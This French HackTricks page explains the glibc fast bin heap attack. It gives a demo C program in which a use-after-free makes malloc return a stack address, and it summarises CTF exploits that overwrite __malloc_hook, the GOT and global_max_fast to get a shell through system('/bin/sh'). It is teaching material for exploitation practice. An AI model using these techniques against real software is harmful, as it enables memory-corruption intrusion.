Fast Bin Attack

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

Pour plus d'informations sur ce qu'est un fast bin, consultez cette page :

Bins & Memory Allocations

Parce que le fast bin est une liste chaînée simple, il y a beaucoup moins de protections que dans d'autres bins et il suffit de modifier une adresse dans un chunk de fast bin libéré pour pouvoir allouer plus tard un chunk à n'importe quelle adresse mémoire.

En résumé :

c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Vous pouvez trouver un exemple complet dans un code très bien expliqué de https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

caution

S'il est possible d'écraser la valeur de la variable globale global_max_fast avec un grand nombre, cela permet de générer des chunks de fast bin de plus grandes tailles, permettant potentiellement d'effectuer des attaques fast bin dans des scénarios où cela n'était pas possible auparavant. Cette situation est utile dans le contexte de l'attaque de grand bin et de l'attaque de bin non trié

Exemples

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • Il est possible d'allouer des chunks, de les libérer, de lire leur contenu et de les remplir (avec une vulnérabilité de débordement).
  • Consolider un chunk pour une fuite d'information : La technique consiste essentiellement à abuser du débordement pour créer un faux prev_size afin qu'un chunk précédent soit placé à l'intérieur d'un plus grand, de sorte que lors de l'allocation du plus grand contenant un autre chunk, il soit possible d'imprimer ses données et de divulguer une adresse à libc (main_arena+88).
  • Écraser le crochet malloc : Pour cela, et en abusant de la situation de chevauchement précédente, il était possible d'avoir 2 chunks pointant vers la même mémoire. Par conséquent, en les libérant tous les deux (en libérant un autre chunk entre les deux pour éviter les protections), il était possible d'avoir le même chunk dans le fast bin 2 fois. Ensuite, il était possible de l'allouer à nouveau, d'écraser l'adresse du chunk suivant pour pointer un peu avant __malloc_hook (de sorte qu'il pointe vers un entier que malloc pense être une taille libre - un autre contournement), de l'allouer à nouveau puis d'allouer un autre chunk qui recevra une adresse vers les crochets malloc.
    Enfin, un one gadget a été écrit là-dedans.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • Il y a un débordement de tas et une utilisation après libération et double libération car lorsqu'un chunk est libéré, il est possible de réutiliser et de relibérer les pointeurs.
  • Fuite d'information libc : Il suffit de libérer quelques chunks et ils obtiendront un pointeur vers une partie de l'emplacement de l'arène principale. Comme vous pouvez réutiliser les pointeurs libérés, il suffit de lire cette adresse.
  • Attaque fast bin : Tous les pointeurs vers les allocations sont stockés dans un tableau, donc nous pouvons libérer quelques chunks de fast bin et dans le dernier écraser l'adresse pour pointer un peu avant ce tableau de pointeurs. Ensuite, allouez quelques chunks de la même taille et nous obtiendrons d'abord le légitime puis le faux contenant le tableau de pointeurs. Nous pouvons maintenant écraser ces pointeurs d'allocation pour faire pointer l'adresse GOT de free vers system et ensuite écrire "/bin/sh" dans le chunk 1 pour ensuite appeler free(chunk1) qui exécutera à la place system("/bin/sh").
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • Un autre exemple d'abus d'un débordement d'un octet pour consolider des chunks dans le bin non trié et obtenir une fuite d'information libc puis effectuer une attaque fast bin pour écraser le crochet malloc avec une adresse de one gadget.
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • Après une fuite d'information en abusant du bin non trié avec un UAF pour divulguer une adresse libc et une adresse PIE, l'exploit de ce CTF a utilisé une attaque fast bin pour allouer un chunk à un endroit où se trouvaient les pointeurs vers des chunks contrôlés, il était donc possible d'écraser certains pointeurs pour écrire un one gadget dans le GOT.
  • Vous pouvez trouver une attaque Fast Bin abusée à travers une attaque de bin non trié :
  • Notez qu'il est courant avant d'effectuer des attaques fast bin d'abuser des listes de libération pour divulguer des adresses libc/tas (lorsque nécessaire).
  • Robot Factory. BlackHat MEA CTF 2022
  • Nous ne pouvons allouer que des chunks de taille supérieure à 0x100.
  • Écraser global_max_fast en utilisant une attaque de bin non trié (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
  • Attaque Fast Bin pour modifier un tableau global de chunks. Cela donne une primitive de lecture/écriture arbitraire, ce qui permet de modifier le GOT et de faire pointer certaines fonctions vers system.

Unsorted Bin Attack

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks